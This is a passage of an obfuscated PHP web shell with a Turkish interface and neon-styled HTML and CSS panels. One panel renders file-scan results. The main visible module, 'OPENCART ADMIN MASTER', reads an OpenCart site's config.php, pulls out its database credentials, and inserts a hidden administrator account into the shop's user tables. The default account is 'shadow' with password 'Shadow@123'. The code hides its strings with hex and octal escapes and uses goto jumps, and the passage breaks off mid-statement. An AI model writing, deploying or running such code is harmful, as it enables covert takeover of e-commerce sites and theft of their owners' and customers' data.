"\x6c\x6f\x77" => "\x44\xc3\274\305\x9f\xc3\274\153"); $pattern_list = array_column($result["\x70\141\164\x74\145\162\156\163"], "\x64\x65\163\143"); $all_patterns = array_merge($pattern_list, $result["\x6f\142\146\x75\163\x63\x61\164\151\x6f\x6e"]); $border_color = "\x23\x62\x33\x30\x30\x66\x66"; if ($result["\x72\151\163\x6b"] === "\143\x72\151\164\x69\x63\x61\x6c") { $border_color = "\x23\146\146\x30\60\x34\x34"; } elseif ($result["\162\151\163\x6b"] === "\150\x69\x67\x68") { $border_color = "\43\146\x66\141\141\x30\x30"; } elseif ($result["\x72\151\x73\153"] === "\x6d\145\144\x69\165\x6d") { $border_color = "\x23\x62\x33\x30\60\x66\x66"; } elseif ($result["\x72\x69\x73\153"] === "\154\x6f\x77") { $border_color = "\x23\x30\x30\x66\x66\70\x38"; } echo "\x3c\x64\151\x76\x20\143\x6c\141\x73\163\75\42\x73\150\145\x6c\154\x2d\162\145\x73\x75\154\x74\55\x69\x74\145\x6d\42\x20\163\164\x79\154\145\75\42\142\x6f\x72\144\145\x72\55\154\145\146\x74\x2d\x63\x6f\x6c\x6f\x72\72" . $border_color . "\73\42\76"; echo "\74\x73\x70\141\156\x20\143\x6c\x61\163\163\x3d\42\146\151\x6c\145\x2d\x70\x61\x74\150\42\x3e"; echo "\74\151\x20\143\x6c\141\163\x73\x3d\42\146\141\x73\40\x66\x61\x2d\x66\151\x6c\x65\55\143\x6f\144\x65\x22\76\x3c\57\x69\76\40"; echo htmlspecialchars($result["\x70\141\164\x68"]); echo "\x3c\163\x70\x61\x6e\40\x73\x74\171\x6c\145\75\42\143\157\x6c\x6f\162\x3a\x23\70\x38\66\66\141\141\73\146\x6f\156\164\x2d\x73\x69\x7a\145\72\x39\x70\x78\x3b\155\141\x72\x67\x69\156\x2d\154\x65\x66\164\72\70\160\x78\73\42\x3e"; echo "\360\x9f\223\246\x20" . $result["\x73\x69\172\x65"] . "\40\x42\40\174\x20\360\237\x95\220\40" . $result["\155\157\x64\x69\x66\x69\x65\144"] . "\x20\x7c\x20\360\x9f\x94\x91\40" . $result["\x70\x65\x72\155\x69\163\x73\151\x6f\156\x73"]; echo "\74\x2f\x73\160\x61\x6e\x3e"; echo "\74\x2f\163\x70\141\156\x3e"; echo "\x3c\144\151\x76\x20\163\164\x79\x6c\145\x3d\42\x64\151\x73\x70\154\141\171\x3a\x66\154\x65\170\73\x67\141\160\x3a\66\160\x78\x3b\x61\154\x69\x67\156\x2d\x69\164\x65\155\x73\x3a\x63\x65\x6e\164\x65\x72\73\x66\154\x65\170\55\x77\162\141\160\72\167\162\141\160\x3b\x22\76"; echo "\74\x73\160\141\x6e\40\x63\154\x61\163\x73\x3d\42\x72\x69\163\x6b\55\142\x61\x64\147\x65\40" . $result["\x72\x69\163\x6b"] . "\x22\76" . $risk_icon[$result["\162\x69\163\153"]] . "\x20" . $risk_label[$result["\x72\x69\163\153"]] . "\74\57\x73\x70\141\156\76"; if (!empty($all_patterns)) { echo "\74\x73\160\141\156\40\x73\164\171\154\145\x3d\x22\146\157\156\164\x2d\x73\x69\x7a\145\x3a\x38\160\x78\73\x63\157\x6c\157\x72\x3a\43\x38\x38\x36\x36\141\x61\x3b\142\x61\x63\153\147\162\x6f\165\156\x64\x3a\x72\147\x62\x61\x28\61\x37\71\54\60\x2c\62\65\65\x2c\60\x2e\x31\x29\73\x70\141\x64\144\151\156\x67\72\x31\160\x78\40\x36\x70\x78\73\142\x6f\162\x64\x65\162\x2d\162\x61\x64\151\x75\x73\x3a\x38\x70\170\x3b\146\x6f\156\x74\x2d\x66\x61\155\151\154\171\72\47\103\x6f\x75\162\x69\x65\x72\40\x4e\145\x77\x27\x2c\x6d\x6f\156\x6f\x73\160\141\x63\x65\x3b\42\x3e"; echo count($all_patterns) . "\40\160\141\x74\x74\x65\x72\156"; echo "\x3c\57\163\160\x61\156\76"; } if ($auto_delete && ($result["\162\151\x73\x6b"] === "\143\x72\151\164\x69\x63\x61\154" || $result["\162\151\163\153"] === "\x68\x69\x67\x68")) { echo "\74\163\x70\x61\x6e\x20\x73\164\171\x6c\145\75\42\x66\x6f\156\x74\55\163\x69\172\x65\x3a\x38\160\x78\x3b\x63\157\x6c\157\x72\72\x23\x66\146\60\60\64\x34\x3b\x66\157\x6e\x74\x2d\x66\x61\155\151\154\x79\x3a\x27\x43\157\165\162\x69\x65\162\40\x4e\145\x77\x27\54\x6d\157\x6e\157\163\160\141\143\x65\x3b\x22\x3e\xf0\237\227\221\xef\270\217\x20\123\151\x6c\x69\156\145\143\145\x6b\x3c\57\163\160\x61\x6e\76"; } echo "\74\57\x64\151\166\x3e"; echo "\x3c\57\x64\x69\166\76"; if ($show_details && !empty($all_patterns)) { echo "\x3c\144\151\166\x20\143\x6c\x61\163\x73\75\x22\163\x68\x65\x6c\154\x2d\x72\x65\163\165\x6c\164\55\144\x65\x74\141\151\x6c\40\x73\x68\x6f\167\x22\x3e"; foreach ($result["\160\x61\x74\x74\x65\x72\156\163"] as $pattern) { echo "\74\x64\x69\x76\40\x63\x6c\141\163\163\75\x22\x6c\151\156\x65\42\x3e"; echo "\360\237\x94\215\x20\x3c\x73\x70\141\156\40\x63\154\141\x73\163\75\42\150\x69\x67\150\154\151\x67\150\164\42\x3e" . htmlspecialchars($pattern["\x64\145\x73\x63"]) . "\74\57\x73\160\x61\156\x3e"; echo "\40\x3c\x73\x70\x61\x6e\40\163\x74\171\x6c\145\x3d\42\x63\x6f\154\157\x72\x3a\x23\70\70\66\x36\x61\141\73\42\x3e\50\x73\x65\166\151\171\x65\x3a\x20" . $pattern["\x6c\145\166\145\x6c"] . "\51\74\x2f\x73\x70\x61\156\76"; if (!empty($pattern["\155\141\x74\143\150"])) { echo "\40\x3c\x73\160\x61\x6e\x20\163\x74\171\154\145\75\x22\x63\x6f\x6c\157\x72\x3a\43\66\x36\66\x3b\146\x6f\156\x74\x2d\163\151\x7a\145\x3a\71\x70\170\x3b\42\76\342\x86\x92\40" . htmlspecialchars(substr($pattern["\x6d\141\x74\x63\x68"], 0, 50)) . "\74\57\163\160\x61\x6e\76"; } echo "\x3c\x2f\x64\151\x76\x3e"; } foreach ($result["\157\x62\146\x75\163\x63\x61\x74\x69\157\156"] as $obf) { echo "\x3c\144\x69\x76\40\143\x6c\141\x73\163\x3d\x22\x6c\x69\x6e\x65\x22\76"; echo "\xf0\237\224\204\x20\x3c\163\160\x61\x6e\40\x63\x6c\141\x73\x73\x3d\42\150\x69\x67\150\154\151\x67\150\x74\42\x20\x73\x74\171\x6c\x65\x3d\x22\143\157\154\x6f\162\x3a\43\146\x66\x61\x61\x30\60\x3b\x22\76" . htmlspecialchars($obf) . "\x3c\57\x73\160\x61\156\76"; echo "\74\x2f\144\x69\166\x3e"; } echo "\x3c\x2f\144\x69\x76\76"; } } } echo "\74\57\144\x69\166\76"; } } } ?> </div> <script> // Scanner işlevselliği document.addEventListener('DOMContentLoaded', function() { // Otomatik sil checkbox kontrolü document.getElementById('autoDelete')?.addEventListener('change', function() { if (this.checked) { if (!confirm('⚠️ Otomatik silme aktif! Kritik ve yüksek riskli dosyalar silinecek. Devam et?')) { this.checked = false; } } }); // Sonuçları filtreleme document.querySelectorAll('.shell-result-item').forEach(item => { item.addEventListener('click', function(e) { const detail = this.nextElementSibling; if (detail && detail.classList.contains('shell-result-detail')) { detail.classList.toggle('show'); } }); }); }); // Kopyalama fonksiyonu function copyToClipboard(text) { navigator.clipboard.writeText(text).then(() => { alert('✅ Kopyalandı!'); }).catch(() => { // Fallback const textarea = document.createElement('textarea'); textarea.value = text; document.body.appendChild(textarea); textarea.select(); document.execCommand('copy'); document.body.removeChild(textarea); alert('✅ Kopyalandı!'); }); } // Progress animasyonu function updateProgress(percent) { const bar = document.getElementById('progressBar'); if (bar) { bar.style.width = percent + '%'; bar.textContent = percent + '%'; } } </script> <?php } goto Z_Bj_; uEqZe: if ($action == "\157\x70\145\156\143\x61\162\x74") { ?> <style> /* ===== PARTİKÜL ARKA PLAN ===== */ .opencart-particle-container { position: relative; overflow: hidden; border-radius: 12px; background: radial-gradient(ellipse at center, rgba(20, 0, 40, 0.95), rgba(5, 0, 10, 0.98)); border: 1px solid rgba(179, 0, 255, 0.2); padding: 25px 20px; margin-bottom: 12px; } .opencart-particle-canvas { position: absolute; top: 0; left: 0; width: 100%; height: 100%; pointer-events: none; z-index: 0; } .opencart-particle-content { position: relative; z-index: 1; } /* ===== BAŞLIK ===== */ .opencart-title { text-align: center; margin-bottom: 20px; } .opencart-title h4 { color: #b300ff; font-size: 18px; margin: 0; text-shadow: 0 0 40px rgba(179, 0, 255, 0.3); letter-spacing: 2px; font-family: 'JetBrains Mono', monospace; } .opencart-title span { display: block; font-size: 10px; color: #6a4a8a; font-weight: normal; letter-spacing: 3px; margin-top: 4px; font-family: 'JetBrains Mono', monospace; } /* ===== KARTLAR ===== */ .opencart-card-neon { background: rgba(20, 0, 40, 0.8); border: 1px solid rgba(179, 0, 255, 0.2); border-radius: 12px; padding: 16px 18px; margin-bottom: 10px; backdrop-filter: blur(10px); box-shadow: 0 0 30px rgba(179, 0, 255, 0.05); transition: all 0.4s; } .opencart-card-neon:hover { border-color: rgba(179, 0, 255, 0.4); box-shadow: 0 0 50px rgba(179, 0, 255, 0.1); } .opencart-card-neon h5 { color: #b300ff; margin: 0 0 12px 0; font-size: 11px; text-transform: uppercase; letter-spacing: 2px; text-shadow: 0 0 20px rgba(179, 0, 255, 0.2); font-weight: 700; font-family: 'JetBrains Mono', monospace; } /* ===== INPUTLAR ===== */ .opencart-input-neon { display: flex; gap: 8px; margin-bottom: 8px; flex-wrap: wrap; } .opencart-input-neon input, .opencart-input-neon select { flex: 1; padding: 10px 14px; background: rgba(10, 0, 20, 0.7); border: 1px solid rgba(179, 0, 255, 0.2); border-radius: 8px; color: #ffffff; font-size: 12px; transition: all 0.4s; font-family: 'JetBrains Mono', monospace; min-width: 120px; } .opencart-input-neon input:focus, .opencart-input-neon select:focus { border-color: #b300ff; box-shadow: 0 0 25px rgba(179, 0, 255, 0.2); outline: none; background: rgba(20, 0, 40, 0.8); } .opencart-input-neon input::placeholder { color: rgba(179, 0, 255, 0.3); } .opencart-input-neon select option { background: #0a001a; color: #ffffff; } .opencart-input-neon button { padding: 6px 14px; background: rgba(179, 0, 255, 0.15); border: 1px solid rgba(179, 0, 255, 0.3); border-radius: 6px; color: #ffffff; cursor: pointer; font-family: 'JetBrains Mono', monospace; font-size: 10px; transition: all 0.3s; white-space: nowrap; } .opencart-input-neon button:hover { background: rgba(179, 0, 255, 0.3); border-color: #b300ff; } /* ===== BUTON GRUBU - ORTALI ===== */ .opencart-btn-center { display: flex; justify-content: center; align-items: center; gap: 10px; flex-wrap: wrap; margin: 14px 0 6px 0; padding: 12px 10px; background: rgba(10, 0, 20, 0.3); border-radius: 12px; border: 1px solid rgba(179, 0, 255, 0.08); } /* ===== NEON MOR BUTONLAR - BEYAZ YAZI ORTALI ===== */ .opencart-btn-master { padding: 10px 24px; border: none; border-radius: 50px; color: #ffffff !important; cursor: pointer; font-size: 11px; font-weight: 700; text-transform: uppercase; letter-spacing: 1.2px; transition: all 0.4s cubic-bezier(0.175, 0.885, 0.32, 1.275); position: relative; overflow: hidden; font-family: 'JetBrains Mono', monospace; text-shadow: 0 2px 10px rgba(0,0,0,0.3); min-width: 130px; box-shadow: 0 4px 15px rgba(0,0,0,0.3); display: inline-flex; align-items: center; justify-content: center; text-align: center; } /* Işıma Efekti */ .opencart-btn-master::before { content: ''; position: absolute; top: -50%; left: -50%; width: 200%; height: 200%; background: radial-gradient(circle, rgba(255,255,255,0.1) 0%, transparent 60%); transform: scale(0); transition: transform 0.6s; } .opencart-btn-master:hover::before { transform: scale(1); } .opencart-btn-master::after { content: ''; position: absolute; top: -2px; left: -2px; right: -2px; bottom: -2px; background: linear-gradient(45deg, transparent, rgba(255,255,255,0.08), transparent); border-radius: 50px; z-index: -1; opacity: 0; transition: opacity 0.4s; } .opencart-btn-master:hover::after { opacity: 1; } .opencart-btn-master:hover { transform: translateY(-3px) scale(1.03); box-shadow: 0 8px 35px rgba(179, 0, 255, 0.4); color: #ffffff !important; } .opencart-btn-master:active { transform: scale(0.95); } .opencart-btn-master .icon { margin-right: 6px; font-size: 13px; } /* ===== RENKLER - TÜMÜ BEYAZ YAZI ===== */ /* Ana Neon Mor */ .opencart-btn-master.primary { background: linear-gradient(135deg, #7b00d4, #b300ff, #d400ff); background-size: 200% 200%; animation: gradientMove 3s ease infinite; box-shadow: 0 0 30px rgba(179, 0, 255, 0.3); color: #ffffff !important; } .opencart-btn-master.primary:hover { box-shadow: 0 0 50px rgba(179, 0, 255, 0.6); color: #ffffff !important; } /* Başarı Neon Yeşil */ .opencart-btn-master.success { background: linear-gradient(135deg, #00aa55, #00dd77, #44ffaa); background-size: 200% 200%; animation: gradientMove 4s ease infinite; color: #ffffff !important; box-shadow: 0 0 30px rgba(0, 255, 136, 0.25); } .opencart-btn-master.success:hover { box-shadow: 0 0 50px rgba(0, 255, 136, 0.5); color: #ffffff !important; } /* Bilgi Neon Mavi */ .opencart-btn-master.info { background: linear-gradient(135deg, #0055dd, #0088ff, #33bbff); background-size: 200% 200%; animation: gradientMove 3.5s ease infinite; color: #ffffff !important; box-shadow: 0 0 30px rgba(0, 153, 255, 0.25); } .opencart-btn-master.info:hover { box-shadow: 0 0 50px rgba(0, 153, 255, 0.5); color: #ffffff !important; } /* Tehlike Neon Kırmızı */ .opencart-btn-master.danger { background: linear-gradient(135deg, #bb0022, #ff0044, #ff3377); background-size: 200% 200%; animation: gradientMove 3s ease infinite; color: #ffffff !important; box-shadow: 0 0 30px rgba(255, 0, 68, 0.25); } .opencart-btn-master.danger:hover { box-shadow: 0 0 50px rgba(255, 0, 68, 0.5); color: #ffffff !important; } /* Uyarı Neon Turuncu */ .opencart-btn-master.warning { background: linear-gradient(135deg, #dd5500, #ff7700, #ffaa33); background-size: 200% 200%; animation: gradientMove 4s ease infinite; color: #ffffff !important; box-shadow: 0 0 30px rgba(255, 136, 0, 0.25); } .opencart-btn-master.warning:hover { box-shadow: 0 0 50px rgba(255, 136, 0, 0.5); color: #ffffff !important; } /* Pembe Neon */ .opencart-btn-master.pink { background: linear-gradient(135deg, #bb0055, #ff0088, #ff44aa); background-size: 200% 200%; animation: gradientMove 3s ease infinite; color: #ffffff !important; box-shadow: 0 0 30px rgba(255, 0, 136, 0.25); } .opencart-btn-master.pink:hover { box-shadow: 0 0 50px rgba(255, 0, 136, 0.5); color: #ffffff !important; } /* Mor Koyu */ .opencart-btn-master.purple { background: linear-gradient(135deg, #3a006a, #6a00bb, #aa44ff); background-size: 200% 200%; animation: gradientMove 5s ease infinite; color: #ffffff !important; box-shadow: 0 0 30px rgba(122, 0, 204, 0.25); } .opencart-btn-master.purple:hover { box-shadow: 0 0 50px rgba(122, 0, 204, 0.5); color: #ffffff !important; } /* Altın - Beyaz Yazı ile */ .opencart-btn-master.gold { background: linear-gradient(135deg, #996600, #ccaa00, #ffdd44); background-size: 200% 200%; animation: gradientMove 3s ease infinite; color: #ffffff !important; box-shadow: 0 0 30px rgba(255, 215, 0, 0.2); } .opencart-btn-master.gold:hover { box-shadow: 0 0 50px rgba(255, 215, 0, 0.4); color: #ffffff !important; } /* ===== ANİMASYONLAR ===== */ @keyframes gradientMove { 0% { background-position: 0% 50%; } 50% { background-position: 100% 50%; } 100% { background-position: 0% 50%; } } @keyframes pulse { 0%, 100% { transform: scale(1); } 50% { transform: scale(1.05); } } .opencart-btn-master.pulse { animation: pulse 2s ease-in-out infinite; } /* ===== SONUÇ ===== */ .opencart-result-neon { margin-top: 12px; padding: 14px 18px; background: rgba(10, 0, 20, 0.8); border-radius: 10px; font-size: 12px; max-height: 400px; overflow-y: auto; font-family: 'JetBrains Mono', monospace; border: 1px solid rgba(179, 0, 255, 0.1); line-height: 1.8; color: #c8d6e5; } .opencart-result-neon.success { border-left: 4px solid #00ff88; box-shadow: 0 0 30px rgba(0, 255, 136, 0.05); } .opencart-result-neon.error { border-left: 4px solid #ff0044; box-shadow: 0 0 30px rgba(255, 0, 68, 0.05); } .opencart-result-neon.info { border-left: 4px solid #0099ff; box-shadow: 0 0 30px rgba(0, 153, 255, 0.05); } .opencart-result-neon.warning { border-left: 4px solid #ff8800; box-shadow: 0 0 30px rgba(255, 136, 0, 0.05); } .opencart-result-neon strong { color: #b300ff; } /* ===== INFO GRID ===== */ .opencart-info-neon { display: grid; grid-template-columns: repeat(auto-fit, minmax(150px, 1fr)); gap: 8px; margin-top: 10px; } .opencart-info-neon-item { background: rgba(10, 0, 20, 0.6); padding: 10px 14px; border-radius: 8px; border: 1px solid rgba(179, 0, 255, 0.1); color: #a880c8; font-size: 10px; text-align: center; font-family: 'JetBrains Mono', monospace; } .opencart-info-neon-item span { color: #b300ff; font-weight: bold; display: block; font-size: 14px; margin-top: 4px; } /* ===== HIZLI AKSİYON ===== */ .opencart-quick-neon { margin-top: 12px; display: flex; gap: 8px; flex-wrap: wrap; justify-content: center; padding: 10px; background: rgba(10, 0, 20, 0.3); border-radius: 10px; border: 1px solid rgba(179, 0, 255, 0.05); } .opencart-quick-neon .label { font-size: 9px; color: #6a4a8a; text-transform: uppercase; letter-spacing: 2px; display: flex; align-items: center; font-family: 'JetBrains Mono', monospace; } .opencart-quick-btn-neon { background: transparent; border: 1px solid rgba(179, 0, 255, 0.2); border-radius: 20px; color: #a880c8; padding: 5px 14px; font-size: 9px; cursor: pointer; transition: all 0.4s; font-family: 'JetBrains Mono', monospace; text-transform: uppercase; letter-spacing: 0.5px; } .opencart-quick-btn-neon:hover { border-color: #b300ff; color: #b300ff; box-shadow: 0 0 30px rgba(179, 0, 255, 0.15); background: rgba(179, 0, 255, 0.05); transform: translateY(-2px); } /* ===== SCROLLBAR ===== */ .opencart-result-neon::-webkit-scrollbar { width: 6px; } .opencart-result-neon::-webkit-scrollbar-track { background: rgba(10, 0, 20, 0.8); } .opencart-result-neon::-webkit-scrollbar-thumb { background: #b300ff; border-radius: 3px; } .opencart-result-neon::-webkit-scrollbar-thumb:hover { background: #c300ff; } /* ===== RESPONSIVE ===== */ @media (max-width: 768px) { .opencart-btn-master { min-width: 100px; padding: 8px 16px; font-size: 9px; letter-spacing: 1px; } .opencart-input-neon input, .opencart-input-neon select { min-width: 80px; font-size: 10px; } .opencart-info-neon { grid-template-columns: 1fr 1fr; } } @media (max-width: 480px) { .opencart-btn-center { flex-direction: column; gap: 6px; } .opencart-btn-master { width: 100%; min-width: unset; justify-content: center; padding: 10px 16px; } } </style> <!-- ===== PARTİKÜL SCRIPT ===== --> <script> document.addEventListener('DOMContentLoaded', function() { const container = document.querySelector('.opencart-particle-container'); if (!container) return; const canvas = document.createElement('canvas'); canvas.className = 'opencart-particle-canvas'; container.prepend(canvas); const ctx = canvas.getContext('2d'); let width, height; let particles = []; let mouseX = -1000; let mouseY = -1000; function resize() { const rect = container.getBoundingClientRect(); width = canvas.width = rect.width; height = canvas.height = rect.height; } class Particle { constructor() { this.x = Math.random() * width; this.y = Math.random() * height; this.size = Math.random() * 2 + 0.5; this.speedX = (Math.random() - 0.5) * 0.5; this.speedY = (Math.random() - 0.5) * 0.5; this.opacity = Math.random() * 0.5 + 0.1; this.color = `hsl(${270 + Math.random() * 30}, 100%, ${60 + Math.random() * 30}%)`; } update() { this.x += this.speedX; this.y += this.speedY; const dx = this.x - mouseX; const dy = this.y - mouseY; const dist = Math.sqrt(dx * dx + dy * dy); if (dist < 150) { const force = (150 - dist) / 150; this.x += dx * force * 0.02; this.y += dy * force * 0.02; } if (this.x < 0 || this.x > width) this.speedX *= -1; if (this.y < 0 || this.y > height) this.speedY *= -1; } draw() { ctx.beginPath(); ctx.arc(this.x, this.y, this.size, 0, Math.PI * 2); ctx.fillStyle = this.color; ctx.globalAlpha = this.opacity; ctx.fill(); ctx.shadowBlur = 10; ctx.shadowColor = '#b300ff'; ctx.fill(); ctx.shadowBlur = 0; } } function createParticles() { particles = []; const count = Math.min(80, Math.floor((width * height) / 10000)); for (let i = 0; i < count; i++) { particles.push(new Particle()); } } function animate() { ctx.clearRect(0, 0, width, height); for (let i = 0; i < particles.length; i++) { for (let j = i + 1; j < particles.length; j++) { const dx = particles[i].x - particles[j].x; const dy = particles[i].y - particles[j].y; const dist = Math.sqrt(dx * dx + dy * dy); if (dist < 120) { ctx.beginPath(); ctx.moveTo(particles[i].x, particles[i].y); ctx.lineTo(particles[j].x, particles[j].y); ctx.strokeStyle = `rgba(179, 0, 255, ${0.1 * (1 - dist / 120)})`; ctx.lineWidth = 0.5; ctx.stroke(); } } } particles.forEach(p => { p.update(); p.draw(); }); requestAnimationFrame(animate); } container.addEventListener('mousemove', (e) => { const rect = container.getBoundingClientRect(); mouseX = e.clientX - rect.left; mouseY = e.clientY - rect.top; }); container.addEventListener('mouseleave', () => { mouseX = -1000; mouseY = -1000; }); resize(); createParticles(); animate(); window.addEventListener('resize', () => { resize(); createParticles(); }); }); </script> <!-- ===== ANA KONTEYNER ===== --> <div class="opencart-particle-container"> <div class="opencart-particle-content"> <!-- BAŞLIK --> <div class="opencart-title"> <h4><i class="fas fa-shopping-cart"></i> OPENCART ADMIN MASTER</h4> <span>⚡ ULTRA EDITION v2.0</span> </div> <?php $opencart_result = null; if (isset($_POST["\x6f\x70\x65\x6e\143\141\x72\x74\x5f\x61\x63\x74\x69\157\x6e"]) && $_POST["\x6f\x70\x65\156\143\141\162\164\137\x61\x63\x74\x69\x6f\x6e"] == "\x63\162\145\141\164\145") { $path = isset($_POST["\157\x70\x65\x6e\143\141\x72\x74\137\x70\141\164\x68"]) ? $_POST["\157\x70\145\156\x63\141\162\x74\137\x70\141\164\150"] : getcwd(); $username = isset($_POST["\157\160\x65\x6e\143\x61\x72\x74\x5f\165\163\145\162"]) ? $_POST["\x6f\x70\145\x6e\x63\141\x72\x74\137\x75\x73\x65\x72"] : "\163\150\x61\x64\x6f\x77"; $password = isset($_POST["\157\x70\x65\156\x63\x61\162\x74\x5f\x70\x61\x73\x73"]) ? $_POST["\157\x70\145\x6e\x63\141\x72\x74\137\160\x61\163\163"] : "\123\150\x61\x64\x6f\167\x40\x31\62\63"; $config_paths = array($path . "\x2f\x63\157\x6e\146\x69\147\56\x70\x68\160", $path . "\x2f\x61\144\155\151\x6e\57\x63\157\x6e\146\151\147\56\160\x68\160", $path . "\57\x73\x79\163\x74\145\155\x2f\143\157\x6e\146\151\147\x2f\x64\x65\x66\x61\x75\x6c\x74\x2e\x70\x68\160"); $config_found = false; $config_content = ''; foreach ($config_paths as $cpath) { if (file_exists($cpath)) { $config_content = file_get_contents($cpath); $config_found = true; break; } } if ($config_found) { preg_match("\57\144\x65\x66\x69\156\145\x5c\x28\x27\x44\102\x5f\x44\101\x54\101\102\x41\x53\105\47\x2c\40\x27\x28\x5b\136\x27\135\x2b\x29\x27\x5c\x29\57", $config_content, $db); preg_match("\57\144\145\x66\151\x6e\x65\x5c\x28\x27\x44\102\x5f\x55\123\x45\x52\116\101\x4d\105\47\x2c\x20\x27\50\x5b\x5e\x27\x5d\53\x29\47\134\x29\x2f", $config_content, $user); preg_match("\57\144\145\x66\x69\156\145\134\50\47\x44\102\x5f\120\101\x53\x53\x57\117\122\x44\x27\54\x20\x27\50\x5b\x5e\x27\x5d\x2b\51\x27\x5c\51\x2f", $config_content, $pass); preg_match("\57\x64\145\x66\x69\x6e\x65\x5c\50\47\x44\x42\137\x48\x4f\x53\x54\116\101\x4d\105\x27\x2c\x20\x27\x28\133\136\x27\135\53\x29\47\x5c\51\57", $config_content, $host); if (!isset($db[1])) { preg_match("\57\104\102\137\104\101\x54\x41\102\x41\x53\x45\47\54\40\x27\x28\x5b\136\47\x5d\53\x29\x27\x2f", $config_content, $db); preg_match("\57\x44\102\x5f\125\123\x45\122\x4e\101\x4d\105\47\x2c\x20\x27\50\x5b\x5e\x27\x5d\53\51\47\x2f", $config_content, $user); preg_match("\57\104\102\x5f\x50\x41\x53\123\x57\x4f\122\104\47\x2c\40\47\x28\x5b\x5e\x27\x5d\x2b\x29\x27\x2f", $config_content, $pass); preg_match("\57\104\x42\x5f\110\x4f\x53\124\116\101\115\x45\x27\54\x20\x27\x28\133\x5e\47\x5d\x2b\51\47\x2f", $config_content, $host); } if (isset($db[1]) && !empty($db[1])) { $conn = new mysqli($host[1], $user[1], $pass[1], $db[1]); if ($conn->connect_error) { $opencart_result = array("\x74\x79\x70\x65" => "\x65\162\162\x6f\x72", "\155\x65\163\163\x61\x67\145" => "\342\x9d\214\x20\x44\x42\x20\x42\141\304\237\154\x61\x6e\x74\xc4\261\x20\150\141\164\141\x73\xc4\xb1\72\x20" . $conn->connect_error); } else { $prefix = "\x6f\143\x5f"; if (preg_match("\x2f\144\145\x66\151\156\x65\134\x28\47\x44\102\x5f\120\122\x45\106\111\x58\47\x2c\x20\47\x28\133\x5e\47\x5d\x2b\51\47\x5c\x29\57", $config_content, $p)) { $prefix = $p[1]; } $check = $conn->query("\123\105\x4c\x45\103\124\x20\165\x73\x65\x72\x5f\151\x64\40\106\122\x4f\x4d\x20{$prefix}\165\163\145\162\x20\x57\x48\105\122\x45\x20\x75\163\145\162\156\x61\x6d\x65\40\x3d\40\47{$username}\x27\40\x4f\x52\x20\x65\x6d\141\x69\154\40\x3d\x20\47{$email}\47"); if ($check && $check->num_rows > 0) { $opencart_result = array("\x74\171\x70\145" => "\x65\x72\x72\x6f\162", "\x6d\x65\x73\163\141\x67\x65" => "\xe2\x9d\x8c\x20\113\x75\x6c\x6c\x61\x6e\xc4\261\143\xc4\xb1\x20\x7a\x61\x74\x65\x6e\x20\x6d\x65\166\x63\165\164\x21"); } else { $email = $username . "\x40\154\157\143\x61\x6c\150\157\163\164\56\x63\157\x6d"; $hashed = password_hash($password, PASSWORD_DEFAULT); $salt = bin2hex(random_bytes(8)); $sql = "\x49\x4e\123\x45\x52\x54\x20\x49\x4e\x54\117\40{$prefix}\165\x73\145\x72\40\x28\x75\163\x65\162\156\141\x6d\145\x2c\x20\x70\141\163\163\167\157\162\x64\x2c\x20\163\x61\x6c\164\54\40\x65\x6d\141\151\x6c\54\x20\x73\x74\141\x74\x75\163\x2c\40\144\x61\164\145\x5f\141\x64\144\145\144\51\x20\12\40\40\x20\x20\x20\x20\x20\40\40\x20\x20\x20\x20\x20\x20\40\x20\40\x20\40\x20\x20\40\40\40\40\x20\x20\x20\x20\x20\40\40\x20\x20\40\x56\x41\114\x55\105\123\x20\x28\x27{$username}\47\54\40\x27{$hashed}\47\x2c\40\x27{$salt}\47\54\40\x27{$email}\x27\x2c\x20\61\x2c\40\x4e\117\127\50\51\51"; if ($conn->query($sql)) { $id = $conn->insert_id; $perms = "\x61\x3a\x30\72\x7b\175"; $conn->query("\x49\x4e\x53\x45\122\124\x20\111\x4e\124\x4f\40{$prefix}\x75\163\x65\x72\137\x67\162\157\165\160\40\50\165\163\145\162\x5f\151\144\x2c\x20\x70\145\162\155\x69\163\163\151\x6f\156\x29\x20\126\101\x4c\x55\x45\x53\x20\50{$id}\54\40\x27{$perms}\x27\51"); $opencart_result = array("\164\171\160\145" => "\x73\165\x63\x63\x65\x73\x73", "\x6d\x65\x73\x73\x61\147\145" => "\xe2\234\x85\40\x3c\163\x74\x72\x6f\156\x67\76\x4f\x70\145\x6e\x63\x61\x72\164\x20\x61\x64\155\x69\x6e\x20\142\141\xc5\x9f\x61\x72\304\261\x79\154\141\40\157\x6c\x75\305\237\x74\x75\x72\165\154\x64\x75\x21\x3c\x2f\163\164\162\x6f\x6e\x67\76\x3c\142\x72\x3e\x3c\142\162\x3e\xa\x20\x20\40\x20\40\40\40\40\x20\x20\x20\x20\40\x20\x20\40\x20\40\40\x20\x20\40\x20\x20\x20\x20\40\40\40\x20\x20\40\x20\40\40\x20\x20\x20\40\40\40\x20\40\40\40\40\x20\x20\360\237\221\xa4\x20\113\x75\154\x6c\141\156\xc4\xb1\143\304\261\72\40\74\x73\x74\x72\x6f\156\147\x20\x73\x74\x79\154\145\75\x22\143\x6f\x6c\x6f\x72\x3a\x23\x62\63\60\60\x66\146\73\42\76" . htmlspecialchars($username) . "\x3c\x2f\163\164\162\157\156\x67\x3e\x3c\x62\162\x3e\12\40\40\40\x20\40\40\x20\x20\x20\x20\40\40\40\40\40\x20\40\x20\x20\40\40\x20\x20\x20\x20\x20\x20\40\40\x20\x20\40\40\x20\40\40\x20\40\40\x20\40\40\x20\40\40\x20\x20\40\xf0\237\224\221\40\xc5\x9e\x69\146\162\x65\x3a\x20\74\163\164\162\x6f\x6e\147\40\163\164\x79\154\x65\x3d\42\143\157\154\157\x72\72\x23\x30\60\146\x66\x38\x38\73\42\76" . htmlspecialchars($password) . "\x3c\57\163\164\162\157\156\x67\x3e\74\x62\162\76\xa\40\40\x20\x20\x20\x20\x20\40\x20\40\x20\x20\x20\40\x20\x20\40\40\40\40\x20\x20\x20\40\40\x20\40\x20\x20\x20\40\40\x20\x20\40\x20\40\x20\x20\40\40\x20\x20\40\40\40\x20\x20\xf0\237\x93\xa7\40\105\155\x61\151\x6c\x3a\x20" . htmlspecialchars($email) . 